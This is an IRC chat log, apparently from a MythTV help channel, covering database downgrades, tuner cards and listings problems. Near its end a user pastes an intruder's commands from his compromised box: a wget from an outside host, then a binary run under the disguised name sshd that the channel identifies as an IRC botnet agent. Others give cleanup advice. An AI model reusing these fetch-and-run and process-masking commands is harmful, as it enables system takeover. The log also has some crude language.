back up your db, make the switch, and pray for forgiveness!

[10:25:32]

flithm:

Daviey: so export the database, reinstall, and import the recordings table?

[10:25:56]

flithm:

directhex|work: I hadn't even thought of just going for it. could it actually work!? :)

[10:26:06]

Daviey:

flithm: try that.. i would do it a different way.. wait 1

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directhex|work:

flithm, it did last time i downgraded. YMMV

[10:26:20]

flithm:

wow

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flithm:

awesome

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directhex|work:

flithm, i live life on the edge, i do ;)

[10:26:30]

flithm:

haha

[10:26:31]

flithm:

nice

[10:26:37]

Daviey:

directhex|work is the _edge_

[10:27:00]

directhex|work:

oh yeah, definitely

[10:28:50]

Daviey:

flithm: why not use mytharchive?

[10:29:43]

Daviey:

obv. backup the database before you do anything

[10:30:09]

flithm:

Daviey: I've never even heard of it!

[10:30:57]

Daviey:

plugin, allows transcoding and burning to dvd OR mythtv native format

[10:31:15]

flithm:

ahhh

[10:31:19]

flithm:

not a bad idea!

[10:31:40]

Daviey:

nuvexport used to be really good – cause you could export your recordings and tell it to store an sql file for each recording.. sadly it's been dropped :(

[10:33:27]

Daviey:

I'd like to reimplement that actually.. then cron it as an additional backup method

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hugo_myth:

Good day.

[10:56:56]

hugo_myth:

I am having a little problem here and I need some advice and I was hoping to catch a few pointers here.

[10:57:36]

ServerSage:

hugo_myth: Ask, don't ask to ask, or explain that you are going to ask. Just ask.

[10:57:49]

hugo_myth:

To make a long story short, one of my encoder cards died and I am looking for a replacement but the Myth wiki got me a bit confused.

[10:58:09]

ServerSage:

hugo_myth: What card died?

[10:58:38]

ServerSage:

hugo_myth: Or rather, what capabilities do you need in a card? if you just want analog TV, hauppauge cards are the way to go.

[10:59:05]

hugo_myth:

The set-up was a PVR150 & PVR350, and the PVR350 died. Yeh I want a new Hauppauge and figured, heck just do the 500, 2 encoders,

[11:00:05]

hugo_myth:

but the wiki states something about motherboard incomp. with ASUS a8v and some A8V-xx, and I happen to have a A8V-XE

[11:00:32]

hugo_myth:

Googling sadly found no problems, nor success stories so I was hoping to find somebody with the same set-up lol

[11:01:23]

hugo_myth:

I'd rather shove a PVR500 in than two extra 150's.

[11:04:53]

hugo_myth:

See English not being my first language it's this sentence on the wiki that confused me: "Some other ASUS A8V-xx models are also affected by this bug, but can be made to work with a BIOS update."

[11:05:19]

hugo_myth:

Does that imply that A8V-xx boards usually can be made to work with the card, or not...

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hugo_myth:

(from http://www.mythtv.org/wiki/index.php/Hauppaug . . . ompatibility btw)

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ServerSage:

hugo_myth: My guess is that it will work for you, but you may need to get a BIOS update from Asus for your motherboard.

[11:11:08]

hugo_myth:

I was hoping someone would say that heh. I just wasn't too sure I interpreted it right.

[11:16:43]

hugo_myth:

I hate it to get woken up by the gf saying that 'myth died' ... :P But hey, replacing and upgrading with an extra encoder makes up for some of that ...

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hugo_myth:

Now on to phoning the local stores to find one that has this in stock..

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hugo_myth:

Thanks! :)

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Steve15:

h there

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Steve15:

where can i find a xmltv grabber for germany (tvtoday doesn't seem to be included in the current xmltv package) ?

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xand:

hmm

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** xand wonders why his mythfilldatabase isn't putting anything in mysql anymore **

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kslater:

anyone have a DirecTV H20 receiver?

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cheshair:

hi guys! how can i switch across different audio language tracks when playing my avi files with internal player?

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cheshair:

SOLVED: the + key does the trick

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xand:

hi... when I run mythfilldatabase, it downloads listings but isn't updating the database anymore... there are no errors, how can I troubleshoot this? :S

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xand:

hmm, -v might help

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xand:

hmm, mythfilldatabase verbose output has no "INSERT" sql queries... how can it possibly work

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Dr_Willis:

your account has not expired has it?

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xand:

my account?

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xand:

the listings source isn't restricted

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xand:

http://xmltv.radiotimes.com/xmltv/

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Dr_Willis:

Never used that one.

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xand:

it actually downloads the data and does a load of UPDATEs

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xand:

but doesn't add any new programs :(

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** xand dist-upgrades his mythtv box **

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godzirra:

Yay.. i'm going to pick up a pvr card off of ebay today.

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godzirra:

wish i could find one locally for instant gratification.

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flithm:

hey everyone... I just downgraded from 0.21pre to 0.20.2, and everything pretty much works except it doesn't see my recording schedules and I can't schedule new recordings. Should I just drop that table or something?

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flithm:

anyone know what the best thing to do is?

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jedix:

did you try restarting mysql and mythbackend?

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jedix:

I wouldn't want to drop those tables if I were you

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jedix:

but I don't know what the best thing to do is

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flithm:

hrmm... I didn't restart msyql lemme try

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jedix:

if you do restart mysql, you have to restart mythbackend after

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flithm:

gotcha

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jedix:

(in my experience anyways)

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godzirra:

can anyone recommend a decent cheap card I can get (either locally or at ebay... preferrably locally)

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godzirra:

tv tuner card I mean.

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flithm:

every time I run mythfrontend / backend I get:

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flithm:

Current Schema Version: 1198

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flithm:

...

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flithm:

Newest Schema Version : 1160

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flithm:

and it tries to upgrade

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flithm:

oh

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xand:

godzirra: what kind?

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flithm:

now it works... my schedules are there

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flithm:

sweet :)

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godzirra:

xand: What kind of what? I'm trying to find out if there's -any- kind I can get locally. I just want whatever will work with mythtv and is cheap. If I like it, I can get a nicer card later. For now I just awnt to get it up and running and see if I can convince my wife to move away from tivo.

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godzirra:

tivo's been pissing us both off lately ;)

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xand:

godzirra: there are different means of receiving tv signals... that's what i mean by what kind... e.g. analog terrestrial, satelite, etc

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godzirra:

Ahh, sorry.

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godzirra:

I've got digital cable but I don't have HD.

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godzirra:

(And I'm not convinced my cable is actually digital to be honest)

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tank-man:

why arent you convinced it is digital? digital doesnt mean better

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godzirra:

Ah, I assumed digital would be better quality. It may be digital then. (I'm a newb to myth and don't know a ton about tv other than how to hook up my 300 devices to it)

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tank-man:

digital tv gives the cable company more resources now (cause they dont have to waste it on analog) but tehy charge you more for digital

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godzirra:

Ah. ok.

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godzirra:

Well I just need to find a good card (preferrably locally) to do tv tuner stuff.

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tank-man:

you have a settop cable box, yea?

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tank-man:

you will probably need some setup with a ir blaster

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godzirra:

Yes I do.

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godzirra:

what is ir blaster?

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tank-man:

small box connected from your pc to send signals to the cable box to change channels/etc

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tank-man:

infared signals

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tank-man:

any cheap tv capture card will probably work if you want it cheap

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xand:

bah, dpkg-reconfigure doesn't like that my mythtv recordings is an NFS mount

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godzirra:

Yeah, the problem is finding one. The only ones I can find at local computer stores aer usb or ones I've never heard of.

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godzirra:

we have a local tiger direct store, but all their tuner cards are weird things I've never haerd of.

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tank-man:

are you familiar with linux and setting up hardware with it?

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godzirra:

more or less.

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godzirra:

i've beeen a linux admin/geek for 12 years.

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tank-man:

most cheap tv tuner cards have the bttv chipset (?) and will work but it is cheap cause you will be using your main cpu to encode to whatever format you want

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godzirra:

Right... How much cpu power do the non hardware encoders need?

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mkrufky:

quality usually is also inferior — much more worth in a hardware encoder

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godzirra:

I've got a 3500+ and all the system does is run a webserver that gets very little (read: none) traffic and me runnning irssi

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godzirra:

Hmm. ok.

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godzirra:

I need to figure out whether any of the cards I can get locally at tiger direct have a hardware encoder then I suppose.

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mkrufky:

i heard users claim that they get decent quality from software encode, but i think they havent compared to a hardware encoder

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directhex|work:

godzirra, if they're hauppauge pvr-* cards, then yes. otherwise, be wary

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godzirra:

Yeah, they don't have any of the hauppauge cards locally. :(

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godzirra:

http://www.tigerdirect.com/applications/categ . . . &Recs=30

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godzirra:

Circuit city and Best buy don't have any tv tuner cards as far as I can see...

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godzirra:

and we dont have a compusa here anymore.

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tank-man:

there are tons of small pc shops in my area :) competitiion is good

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godzirra:

Hmm... I should look up some of the small local shops.

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godzirra:

there are probably some nearby me too.

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godzirra:

I just dont know of any yet. I've only been here a short while.

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godzirra:

If it doesnt specifically say hardware encoding, i'm guessing its not :)

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mkrufky:

true

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mkrufky:

dont take "mpeg encoding" to mean anything — they usually mean software encoding

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mkrufky:

its marketing scam

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bb_:

question: I have directtv receiver, Im reading a need an IR blaster to change the channel from my MythTv box to my reciever...what IR blaster should I get for DirectTV?

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Daviey:

Can anybody think of a way of pushing events into mythtv, other than lirc and telnet?

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godzirra:

Right.

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godzirra:

Hrm... what about this one? http://www.tigerdirect.com/applications/Searc . . . p;CatId=1427

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godzirra:

It says its hardware encoding, but it doesnt look like it has any audio inputs other than a 3.5mm which isn't going to work from a tv is it?

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directhex|work:

http://ivtvdriver.org/index.php/Supported_hardware

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godzirra:

Ooh, they have a hauppage for 70 bucks.

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xand:

poo!

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directhex|work:

wee!

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xand:

radio times .dat file has \u0000 which xmltv doesn't like

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xand:

and thus my listings don't update

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directhex|work:

unicodey!

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xand:

I don't see why it has to convert a ~ seperated file into xml and then put it in the database... seems redundant

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godzirra:

Whats a good price for a hauppage?

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godzirra:

pvr 150?

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bb_:

can anyone suggest a good IR blaster for DirectTV?

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mkrufky:

bb_: i decent encoder card usually comes bundled with an ir blaster'

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mkrufky:

s/i/a

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bb_:

mkrufky: hmm it did come with a usb ir reciever, and on the reciever has a plug for a blaster.. I wasnt sure if that would work...i thought I needed a com port blaster

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mkrufky:

nope, u just need the right driver

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mkrufky:

(i think)

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bb_:

ahh ok..hmm that will be fun :)

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bb_:

its a h pvr 150 card

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bb_:

whatever comes with that card

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godzirra:

Am I missing something? http://www.tigerdirect.com/applications/Searc . . . p;CatId=1427

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godzirra:

does sthat not have an ir blaster, or is that a component completely seperate from the tv tnuer card?

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jarle__:

when mythfilldatabase is run automatically by the backend, is it run with some extra arguments or something? I seems to have different behaviour from running mythfilldatabase automatically and running it manually?

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AndyCap:

godzirra: I don't think the mce models come with any IR support

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jedix:

does anyone use nuvexport?

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jedix:

it keeps quitting early

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jedix:

so it says

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justinh:

hmmm nice to have EPG data from uk_rt again :)

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xand:

is it?

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justinh:

yup

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xand:

I've had to comment out filmfour :(

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justinh:

downloaded the cvs version earlier now it works fine again

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xand:

ah

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justinh:

seems faster too

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xand:

I won't bother trying to fix it myself then

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justinh:

hmmm what's all this (cont) in film titles now? that a new thing?

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directhex|work:

justinh, news at 10 is back

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bb_:

question: when I go into "watch tv" why does it start recording what I am watching?

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directhex|work:

justinh, so the chop-off-the-last-40-minutes thing is back too

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bb_:

i guess im trying to undestand why that happens

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directhex|work:

bb_, because that's how a PVR works. how would you rewind or pause live tv if it wasn't doing that?

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justinh:

directhex|work: The World Is Not Enough is finishing at 10.30pm & picking up again at 11.05pm

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bb_:

ahhh I understand! thanks

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directhex|work:

justinh, yep! news at 10... at 10:30!

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justinh:

maybe I'll just find the doovde in a bargain bin & buy it instead

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justinh:

news at ten.. thirty? ROFL

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justinh:

apparently they're gonna have that stupid bint off Sly New$ aswell – the one who said Immigrants are going to be exterminated

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directhex|work:

that's what itv users want!

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justinh:

ducking bick thastards

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justinh:

unplug brain, watch ITV

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justinh:

love to know how they're gonna get away with calling it "news at ten" when it's not. never mind – at least they got the "not completely tabloid at all" Sir Trev back.

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justinh:

wonder why there's even a need for itv to have news. I mean people read The Sun, The Star & The Sport don't they? ;)

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godzirra:

AndyCap: crap. So i need a non MCE... ok. :/ Thanks.

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EnterUse1Name:

umm

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EnterUse1Name:

does anyone have a psp

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EnterUserName:

hey... don't know if this got posted cuz i wasnt registered

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AndyCap:

EnterUserName: you keep asking, but how is that relevant to mythtv?

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EnterUserName:

I would like to convert my Mythtv files to psp format

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EnterUserName:

nuvexport is using an older psp format i believe so it does not work

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godzirra:

EnterUserName: yes, why?

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EnterUserName:

Because i would like to watch my mythtv shows on my psp and i was wondering if anyone else does it?

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EnterUserName:

its related to mythtv cuz its the shows it record :)

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EnterUserName:

Hi Xris.

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EnterUserName:

Question about your nuvexport got time?

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xris:

meeting, sorry

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mkrufky:

EnterUserName: ask your question to the room... if somebody knows the answer, they'll speak up

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mkrufky:

dont ask "does anybody have a psp" ...

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EnterUserName:

oh ok

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mkrufky:

because you dont care if anybody HAS a psp

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mkrufky:

you care if anybody has experience transcoding to PSP-ready formats

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mkrufky:

you gotta ask the right question, otherwise you might not get an answer

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EnterUserName:

heh. Sorry about that mkrufky your right, I'll ask a better question nexttime.

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godzirra:

I assume an ATI TV Wonder is software encoding?

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godzirra:

Wait...

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godzirra:

AndyCap: http://www.tigerdirect.com/applications/Searc . . . p;CatId=1427 this shows an MCE with an IR cable and a remote?

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godzirra:

What am I missing? (Since it still doesnt look like there's any place to plug the IR thingie into?)

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godzirra:

Oh.. its got a usb plug for the remote thingie.

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godzirra:

Does that work with mythtv/linux?

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psymin:

EnterUserName, http://www.gossamer-threads.com/lists/mythtv/users/144883

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psymin:

godzirra, not sure . . here are some remotes that are supported by lirc http://lirc.sourceforge.net/remotes/

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godzirra:

psymin: are those media center remotes?

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godzirra:

i.e. should I be looking for windows media center remotes and then checking to see if its on that list?

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psymin:

godzirra, There are remotes that look similar under the 'hauppauge'. I've not experimented with IR yet, but it appears that MythTV can use lirc .. and if lirc can use those remotes ..

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godzirra:

But are those remotes windows media center remotes?

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justinh:

here we go.. trick or frickin treat. god, I hate it how all the US traditions are finding their way here. gone are the days of kids cutting their fingers off hollowing out turnips

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kormoc:

turnips?

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justinh:

yeah when I was a kid it was virtually unheard of to see pumpkins in shops

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justinh:

so we had turnip lanterns

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justinh:

trick or treat seems to be a relatively recent thing in the UK. all we had was 'penny for the lantern' – which usually turned out to be taken pretty literally. actually come to think about it – trick or treating is actually way better from the kids' point of view ;)

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justinh:

argghh this damn cheap keyboard & its crappy ctrl key. makes using screen a pain

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justinh:

I only dug it out to enable USB keyboard support in the BIOS. lol

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godzirra:

You don't know about neepy lanterns?

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godzirra:

Sheesh...

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godzirra:

neepy candles

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godzirra:

rather?

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godzirra:

I probably spelled that horribly. oh well.

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justinh:

neepy who?

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justinh:

ahh turnip lanterns innit

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justinh:

surprised I didn't know that term, being from about as far North in England as you can go before you get into Scotland (ish)

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AndyCap:

godzirra: mceusb has an inputdriver as well iirc.

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jonK:

hi

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jonK:

traffic has really fallen off in this channel...

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psymin:

jonK, I'm just recording the traffic to watch again later without the commercials

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psymin:

prolly what everyone is doing :)

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jedix:

yeah

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jedix:

it's crazy how many commercial bots come in

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jedix:

so.. nuvexport seems to crap out saying that mythtranscode exited before it was finished and to run with --debug

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jedix:

is there anyting I can do short of editing nuvencoder to pass --debug to mythtranscode?

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jedix:

like use a newer nuvencoder than 0.8 something or other?>

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jedix:

ie svn?

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jonK:

anyone want to try and help me fix my settings table, before I just trash mythconverg and start over

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jedix:

no idea how to

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jedix:

sorry

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mkrufky:

what's wrong with your settings table?

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mkrufky:

did you try mythweb?

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iamlindoro:

jonk, did you try: mysqlcheck -r -umythtv -p<password> mythconverg

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iamlindoro:

kill backends and frontends first, of course

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iamlindoro:

That assumes, of course, that the problem is corruption and not pilot error

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jonK:

imlindoro yes .. but yesterday, starting mythbackend was failing with a message indicating that the IP address for the backend was not set

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jonK:

in looking at the settings table,the ip address appeared correct, but i noticed that the hostname of some of the settings was null,

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jonK:

i started playing with the settings...

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jonK:

poor choice

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jonK:

what i need to know, is for the backendserverip (and port) settings and for the MasterBackendServerIP (and ports) settings should be the hostname, and which should be NULL

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jonK:

also, for the capturecard table, should the hostname be set to NULL or the hostname

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jonK:

i have one backend/frontend combo and a separate frontend only box

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jonK:

or, i can copy off "the war" documentary and a couple other shows to teh /video directory and just start over wtih mythbackend

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iamlindoro:

Ah... well What I'd do is this

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iamlindoro:

dump your entire database

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iamlindoro:

to a file, that is

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iamlindoro:

then drop the database, load a fresh mythconverg, and start mythbackend once

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iamlindoro:

Set up correct IP addresses, etc

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iamlindoro:

Now kill mythbackend, and dump the database to a different file

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jonK:

and then copy back the fresh table to the link to the database with the recorded data

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iamlindoro:

And you can compare a "fresh" properly set up one to the original dumped one, make necessary changes, and reload the old one

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iamlindoro:

correct

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jonK:

allright, time to hit phpmyadmin and create a backup

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iamlindoro:

I think mysqldump is probably easier, but do what works best for you

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jonK:

do i need any options or will "mysqldump mythconverg" do it for me?

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iamlindoro:

I think it's like using mysql client, IIRC, ie mysqldump -umythtv -p password mythconverg > mythtvbackup.sql

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iamlindoro:

But let me check

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jonK:

i was just reading the man page, and don't see any obviously applicable parameters

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iamlindoro:

mysqldump -u mythtv -p mythconverg -c > mythtv_backup.sql

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iamlindoro:

ought to do it

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iamlindoro:

That's per the myth wiki, and I've done it that way and can confirm it works, so use that

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jonK:

any reason to use mythtv over the root user?

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jonK:

nm, just used mythv user, now, just drop mythconverg, and rerun the database creation script?

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iamlindoro:

drop mythconverg, I don't know about a db creation script, I usually just mysql -uroot -p < mc.sql

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iamlindoro:

but if that works, go for it

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jonK:

by "creation script" i was referring to the mc.sql file, just couldn't remember the same

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jonK:

err . name

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iamlindoro:

ah, ok, gotcha

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iamlindoro:

yup, then

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iamlindoro:

*Nice*, there are now patches for mplayer for E-AC3 and TrueHD, so that ought to just about finish off Blu-ray/HD-DVD support... sweet!

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godzirra:

So does MythTV have anything like tivo where it suggests similar shows?

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bsdfox_:

godzirra: not that I know of. could be a cool plugin though

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bsdfox_:

distributed user ratings or something

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jonK:

i don't know, the fact that tivo kept thinking I'd want to watch reruns of the "saved by the bell" always creeped me out a bit

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bsdfox_:

lol

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Yahooadam:

lol

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jonK:

I mean how would it know what a fan I was of Slater?

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jeffery:

why is that I can't start my mythbackend? there is not process running when I do ps aux | grep myth

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jeffery:

where should I start looking?

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bsdfox_:

jeffery: we need more info to help

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jonK:

log

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bsdfox_:

like an error message

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TapoutT:

LOL .. HAPPY HALLOWEEN : http://photo.darkness.com/files/1/Photo%2015.jpg <-- lol

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jonK:

how are you trying to start it?

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jeffery:

bsdfox_, it says "Starting MythTV backend done"

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jeffery:

# /etc/init.d/mythbackend start

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jonK:

try just running mythbackend from a prompt and see what you get

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jonK:

i.e., instead of /etc/init.d.... just type "mythbackend" and hit return

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jeffery:

ok I think I was running as root user was the problem.. running as normal user seems to give me some output

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jeffery:

jonK, should I background it with mythbackend & ?

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jonK:

does that output end with "seem to be started up by USER"

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jeffery:

jonK, yes :)

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jonK:

ok, then your startup script does not work

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jonK:

you could run it in a screen

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jonK:

or with the ampersand, but then you need to keep that shell window open indefinitely

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jonK:

err without the ampersand

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jeffery:

jonK, seems to be the startup script is running as root user which is not the user setup to run mythtv I guess?

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jonK:

really shouldn't matter

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jonK:

afaik

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jonK:

but I run mythbackend as root or other users without issue

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jeffery:

strange

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jeffery:

jonK, fixed it... init script had root user hard coded

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jonK:

cool

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xris:

lol, I just got a (blank) spam with subject: Linu$ Torvald$

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my2keh:

how do i change my mythtv user's password?

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my2keh:

I know the passwd function, but i'm assuming it needs to be changed in other places?

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directhex:

the mythtv system user? no, that's it

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my2keh:

yeah

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my2keh:

but what about mysql?

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briand:

what about it? that has nothing to do with your system user password

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briand:

just because you re-key the front gate doesn't mean you need to find new keys for every car in the garage.

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my2keh:

ok cool!

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my2keh:

'cause I think someone logged into my ssh and put something on my box

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my2keh:

and they did this h -s "/usr/sbin/sshd" ./crond

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my2keh:

whatever that does!

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directhex:

if your system has been compromised, you can't trust *anything*

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my2keh:

bah

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directhex:

not /proc, not ps, certainly not .bash_history

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my2keh:

it's just a PVR

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BULLE:

my2keh: its still great to use for childp0rn downloads etc

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BULLE:

creditcard fraud

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BULLE:

whatever they want

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my2keh:

eeek

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BULLE:

my2keh: if your computer has been compromised, they have complete access to it, just like they sat in front of it with keyboard

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BULLE:

my2keh: they can do what they pelase

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BULLE:

my2keh: there is a decent chance, what they want to do is not legal ( since actualy taking over your computer, isnt legal to start with )

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my2keh:

not if I unplug the network cable heh

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BULLE:

my2keh: true

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Kritter:

and never get guide updates.

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mzb:

it might be possible to pick through it (by various means) and weed out the altered files

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Kritter:

run chkrootkit

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my2keh:

I get guide updates via EIT

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mzb:

you have no firewall?

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my2keh:

wget atikehack.wc.hu/4.tgz

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my2keh:

tar xzvf 4.tgz

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my2keh:

rm -rf 4.tgz

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my2keh:

cd mech

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my2keh:

./h -s "/usr/sbin/sshd" ./crond

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my2keh:

passwd

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my2keh:

su

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my2keh:

exit

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my2keh:

is what he did

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my2keh:

I have a linksys thing infront of it

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mzb:

with openwrt?

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my2keh:

openwrt?

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mzb:

obviously not ;)

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directhex:

my2keh, that's a pretty good set of "your box is totally rooted" instructions

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directhex:

my2keh, if you really want confirmation, try rkhunter or chrootkit

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my2keh:

I figure

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directhex:

he's got your root password, your account password, and is running an unknown daemon which is guaranteed to be a rootkit or trojan

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mzb:

get yourself some sort of firewall

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mzb:

how many other machines do you have on the net?

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my2keh:

just this one

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xanderp:

i've got a tv listing that is partially deleted. the file is gone, but the listing is stuck and won't go away. anyone know a good doc for removing an orphaned listing from the database?

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mzb:

well, if you're anything like me, I'm guessing you're feeling a bit red-faced, and totally violated

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mzb:

I suggest you get the software you need and unplug the cable

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mzb:

I also suggest you make sure you've got backups of all your data

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mzb:

and be prepared for the idea that the simplest way to ensure that the system is clean is to reformat and start again

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my2keh:

yeah I know that heh

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mzb:

I had to pick through a friend's server once (different continent) to fix it after it'd been raped

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directhex:

we just drilled through the hard disks on a rooted system

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directhex:

with a powe drill

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my2keh:

well I'd rather not drill through 750GB of hard disk

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xanderp:

?? why on earth would you do that?

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mzb:

the hacker hadn't done a fantastic job, his weakness was that although almost everything in bin and sbin (etc) had been replaced or changed, he hadn't corrected the modification dates, so it was relatively easy to find what had been changed by doing a find / -ls | grep "date"

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mzb:

sounds *stupid*

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mzb:

(drilling)

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GreyFoxx:

mzb: They almost never changed mtime so a find / -mtime -30 will show all modified files in the last 30 days, regardless of datestamp

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mzb:

nice

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GreyFoxx:

alll files changed/created in the last 30 days

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xanderp:

anyone here had a 'deleted' tv show that won't go away from the 'recorded' listings?

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GreyFoxx:

in 10 years of going over hacked boxes I've only seen one that find -mtime didn't find

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mzb:

thanks :) ... I guess I have to be happy that'd I've never needed to know that much :)

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mzb:

my usual "ah my box is hacked" is some M$ user (w98). The fix is "upgrade" to Linux :)

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** BULLE is downloading 4.tgz to take a look **

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mzb:

never see a hacked Linux box, and all the ones I build have firewalls

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BULLE:

mzb: the main issue doesnt tend to be a firewall realy, but some service running, that is either missconfigured or havent been uppdated properly

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directhex:

we drilled the disks because we had spare disks and wanted to get the system back into production immediately. and by the time we were doing forensics on the hacked disks, we were decommissioning the host machine anyway, so destroyed the disks as per data security regulations

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mzb:

whose regulations?

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mzb:

dm

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mzb:

not interested

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BULLE:

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xanderp:

so apparently wiping the drive and using it again in another server was out of the question? sounds like a government operation spending taxpayer money.

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my2keh:

oooo

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BULLE:

my2keh: that is what the program ./h is

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my2keh:

sounds like a botnet

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mzb:

BULLE: you'd still need at least basic iptables

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directhex:

it's a botnet

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BULLE:

it sure is

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directhex:

the "r" folder is all IRC-related

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BULLE:

crond seems to be an ircbot of some sorts

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directhex:

so my2keh is a DDoS engine?

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directhex:

or spam

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directhex:

one or t'other

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BULLE:

ye dunno what he does

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my2keh:

uhhh

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mzb:

my2keh: I'd suggest you try firestarter when you get back on your feet ... it's the most "M$"-like solution I can think of ... usually use it for my clients

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directhex:

xamindar, using the drive again in someone else's machines is out of the question, as per data privacy policy. we deal with sensitive data on occasion. re-using the drives ourself was out of the question, because we weren't buying more sun big iron

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BULLE:

directhex: just take a look at the 1.user 2.user 3.user files

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directhex:

BULLE, sum them up?

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BULLE:

directhex: seems to be a set of irc masks, for the users the bot accepts

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directhex:

ah

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BULLE:

directhex: "Atike" is the handle

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BULLE:

Atike1, Atike2, Atike3

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